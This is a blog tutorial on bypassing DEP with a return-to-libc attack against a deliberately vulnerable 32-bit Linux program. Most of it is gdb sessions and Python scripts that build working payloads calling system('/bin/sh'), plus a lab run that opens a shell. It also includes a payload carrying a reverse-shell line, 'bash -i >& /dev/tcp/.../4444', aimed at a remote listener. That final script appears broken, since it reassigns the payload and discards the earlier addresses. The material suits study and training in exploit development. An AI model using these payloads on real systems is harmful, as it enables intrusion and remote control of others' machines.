Bypassing DEP with Return-to-libc
Thilan Dissanayaka Exploit development Apr 05, 2020

Bypassing DEP with Return-to-libc

In the Linux buffer overflow tutorial and the Windows buffer overflow tutorial, we exploited stack overflows by injecting shellcode onto the stack and redirecting EIP to execute it. It worked because we disabled DEP.

Now we turn DEP back on and see what happens.

DEP (Data Execution Prevention) marks the stack and heap as non-executable. Even if our shellcode lands perfectly in memory, the CPU checks the page permissions, sees there's no Execute flag, and raises an access violation. Our shellcode is dead on arrival.

Before DEP:  Stack = RWX → shellcode runs
After DEP:   Stack = RW  → "Access Violation" — can't execute data

But here's the key insight: the code section of the executable and its loaded libraries (libc, kernel32, ntdll) are already executable. They have to be — they contain the program's own code. What if instead of injecting new code, we just jump to code that already exists?

That's return-to-libc — the simplest DEP bypass, and the foundation for the more advanced ROP chain technique we'll cover in the next article.

The Idea

libc (the C standard library) is loaded into every C program's address space. It contains thousands of useful functions — including system(), which executes a shell command.

If we can make the program call system("/bin/sh"), we get a shell. No shellcode needed. The system() function lives in an executable page (libc's .text section), so DEP doesn't block it.

The plan:

  1. Overflow the buffer to overwrite the return address
  2. Set the return address to the address of system() in libc
  3. Arrange the stack so that system() receives "/bin/sh" as its argument
  4. Profit
#include <stdio.h>
#include <string.h>

void vulnerable()
{
    char buffer[64];
    gets(buffer);
    puts(buffer);
}

int main()
{
    vulnerable();
    return 0;
}
thilan@ubuntu:~$ ./ret2libc
hello
hello
thilan@ubuntu:~$ gdb ./ret2libc -q
Reading symbols from ./ret2libc...
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
   0x000011e3 <+0>: lea    ecx,[esp+0x4]
   0x000011e7 <+4>: and    esp,0xfffffff0
   0x000011ea <+7>: push   DWORD PTR [ecx-0x4]
   0x000011ed <+10>:    push   ebp
   0x000011ee <+11>:    mov    ebp,esp
   0x000011f0 <+13>:    push   ebx
   0x000011f1 <+14>:    push   ecx
   0x000011f2 <+15>:    call   0x10b0 <__x86.get_pc_thunk.bx>
   0x000011f7 <+20>:    add    ebx,0x2dd9
   0x000011fd <+26>:    call   0x11ad <vulnerable>
   0x00001202 <+31>:    sub    esp,0xc
   0x00001205 <+34>:    push   0x0
   0x00001207 <+36>:    call   0x1060 <exit@plt>
End of assembler dump.
(gdb) disass vulnerable
Dump of assembler code for function vulnerable:
   0x0000119d <+0>: push   ebp
   0x0000119e <+1>: mov    ebp,esp
   0x000011a0 <+3>: push   ebx
   0x000011a1 <+4>: sub    esp,0x44
   0x000011a4 <+7>: call   0x10a0 <__x86.get_pc_thunk.bx>
   0x000011a9 <+12>:    add    ebx,0x2e2b
   0x000011af <+18>:    sub    esp,0xc
   0x000011b2 <+21>:    lea    eax,[ebp-0x48]
   0x000011b5 <+24>:    push   eax
   0x000011b6 <+25>:    call   0x1040 <gets@plt>
   0x000011bb <+30>:    add    esp,0x10
   0x000011be <+33>:    sub    esp,0xc
   0x000011c1 <+36>:    lea    eax,[ebp-0x48]
   0x000011c4 <+39>:    push   eax
   0x000011c5 <+40>:    call   0x1050 <puts@plt>
   0x000011ca <+45>:    add    esp,0x10
   0x000011cd <+48>:    nop
   0x000011ce <+49>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x000011d1 <+52>:    leave
   0x000011d2 <+53>:    ret
End of assembler dump.
   0x000011af <+18>:    sub    esp,0xc
   0x000011b2 <+21>:    lea    eax,[ebp-0x48]
   0x000011b5 <+24>:    push   eax
   0x000011b6 <+25>:    call   0x1040 <gets@plt>
(gdb) b *vulnerable+25
Breakpoint 1 at 0x11c6: file ret2libc.c, line 8.

(gdb) b *vulnerable+40
Breakpoint 2 at 0x11d5: file ret2libc.c, line 9.
thilan@wso2 ~ $ python3 -c "print('A' * 100)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb) i r esp
esp            0xffffd340          0xffffd340

(gdb) x/30wx 0xffffd340
0xffffd340: 0xffffd350  0x00000000  0x00000000  0x565561b9
0xffffd350: 0x00000000  0xffffd5bb  0x00000002  0x0000001c
0xffffd360: 0x00000020  0x00000000  0x00000000  0xffffdfe2
0xffffd370: 0xf7fc7570  0xf7fc7000  0x00000000  0x00000000
0xffffd380: 0x00000000  0x00000000  0x00000000  0x00000000
0xffffd390: 0x00000000  0x56558fd0  0xffffd3a8  0x56556202
0xffffd3a0: 0xffffd3c0  0xf7faee34  0x00000000  0xf7daac75
0xffffd3b0: 0x00000000  0xffffd474
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 2, 0x565561d5 in vulnerable () at ret2libc.c:9
9       puts(buffer);

(gdb) x/30wx 0xffffd340
0xffffd340: 0xffffd350  0x00000000  0x00000000  0x565561b9
0xffffd350: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd360: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd370: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd380: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd390: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd3a0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd3b0: 0x41414141  0xffffd400

dcciru0ldxtg9kjqu1dj.png

(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Breakpoint 2, 0x565561d5 in vulnerable () at ret2libc.c:9
9       puts(buffer);
(gdb) x/30wx 0xffffd340
0xffffd340: 0xffffd350  0x00000000  0x00000000  0x565561b9
0xffffd350: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd360: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd370: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd380: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd390: 0x41414141  0x41414141  0x41414141  0x42424242
0xffffd3a0: 0xffffd300  0xf7faee34  0x00000000  0xf7daac75
0xffffd3b0: 0x00000000  0xffffd474
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info proc mappings
process 1990
Mapped address spaces:

    Start Addr   End Addr       Size     Offset  Perms   objfile
    0x56555000 0x56556000     0x1000        0x0  r--p   /home/thilan/ret2libc
    0x56556000 0x56557000     0x1000     0x1000  r-xp   /home/thilan/ret2libc
    0x56557000 0x56558000     0x1000     0x2000  r--p   /home/thilan/ret2libc
    0x56558000 0x56559000     0x1000     0x2000  r--p   /home/thilan/ret2libc
    0x56559000 0x5655a000     0x1000     0x3000  rw-p   /home/thilan/ret2libc
    0xf7d86000 0xf7da9000    0x23000        0x0  r--p   /usr/lib32/libc.so.6
    0xf7da9000 0xf7f28000   0x17f000    0x23000  r-xp   /usr/lib32/libc.so.6
    0xf7f28000 0xf7fad000    0x85000   0x1a2000  r--p   /usr/lib32/libc.so.6
    0xf7fad000 0xf7faf000     0x2000   0x226000  r--p   /usr/lib32/libc.so.6
    0xf7faf000 0xf7fb0000     0x1000   0x228000  rw-p   /usr/lib32/libc.so.6
    0xf7fb0000 0xf7fba000     0xa000        0x0  rw-p
    0xf7fc1000 0xf7fc3000     0x2000        0x0  rw-p
    0xf7fc3000 0xf7fc7000     0x4000        0x0  r--p   [vvar]
    0xf7fc7000 0xf7fc9000     0x2000        0x0  r-xp   [vdso]
    0xf7fc9000 0xf7fca000     0x1000        0x0  r--p   /usr/lib32/ld-linux.so.2
    0xf7fca000 0xf7fed000    0x23000     0x1000  r-xp   /usr/lib32/ld-linux.so.2
    0xf7fed000 0xf7ffb000     0xe000    0x24000  r--p   /usr/lib32/ld-linux.so.2
    0xf7ffb000 0xf7ffd000     0x2000    0x31000  r--p   /usr/lib32/ld-linux.so.2
    0xf7ffd000 0xf7ffe000     0x1000    0x33000  rw-p   /usr/lib32/ld-linux.so.2
    0xfffdd000 0xffffe000    0x21000        0x0  rw-p   [stack]
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7dd58e0 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7dc45b0 <exit>
(gdb) find 0xf7d86000,0xf7fb0000,"/bin/sh"
0xf7f42de8
1 pattern found.
# system = 0xf7dd58e0
# exit   = 0xf7dc45b0
# binsh  = 0xf7f42de8

payload  = b"A" * 76

payload += b"\xe0\x58\xdd\xf7"  # system()
payload += b"\xb0\x45\xdc\xf7"  # exit()
payload += b"\xe8\x2d\xf4\xf7"  # "/bin/sh"

with open("payload", "wb") as f:
    f.write(payload)
thilan@ubuntu:~$ (cat payload; cat) | ./ret2libc

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�X��E���-��
whoami
thilan
id
uid=1000(thilan) gid=1000(thilan) groups=1000(thilan),27(sudo),988(vboxsf)
# system = 0xf7dd58e0
# exit   = 0xf7dc45b0

# buffer = 0xffffd3c0

# Target = 192.168.8.167 : 4444

payload  = b"A" * 76

payload += b"\xe0\x58\xdd\xf7"  # system()
payload += b"\xb0\x45\xdc\xf7"  # exit()

payload += b"\xc0\xd3\xff\xff"  # buffer address

payload  = b"A" * 12

payload += b"bash -i >& /dev/tcp/192.168.8.167/4444 0>&1\x00"

with open("payload", "wb") as f:
    f.write(payload)
ALSO READ
Exploiting a format string vulnerebility on Linux
Apr 12 Exploit development

A misused printf can leak stack contents, read arbitrary memory, and write to arbitrary addresses. Format string vulnerabilities are one of the most powerful bug classes in C and they're the key to defeating ASLR. In this post, we exploit printf from leak to shell.

Exploiting a heap buffer overflow in linux
Apr 12 Exploit development

In the [previous article](/heap-internals-how-glibc-malloc-works/), we dissected glibc's malloc — chunks, bins, tcache, coalescing, and the metadata that holds it all together. Now we break...

Out of Band SQL Injection
Feb 14 Application Security

Out of Band SQL Injection (OOB SQLi) is an advanced SQL injection technique where the attacker cannot retrieve data directly through the same communication channel used to send the injection payload....

Exploiting a  Stack Buffer Overflow  on Linux
Apr 01 Exploit development

Have you ever wondered how attackers gain control over remote servers? How do they just run some exploit and compromise a computer? If we dive into the actual context, there is no magic happening....

Common Web Application Attacks
Feb 05 Application Security

Web applications are one of the most targeted surfaces by attackers. This is primarily because they are accessible over the internet, making them exposed and potentially vulnerable. Since these...

 OWASP Top 10 explained - 2021
Feb 11 Application Security

The Open Worldwide Application Security Project (OWASP) is a nonprofit foundation focused on improving the security of software. It provides free, vendor neutral tools, resources, and standards that...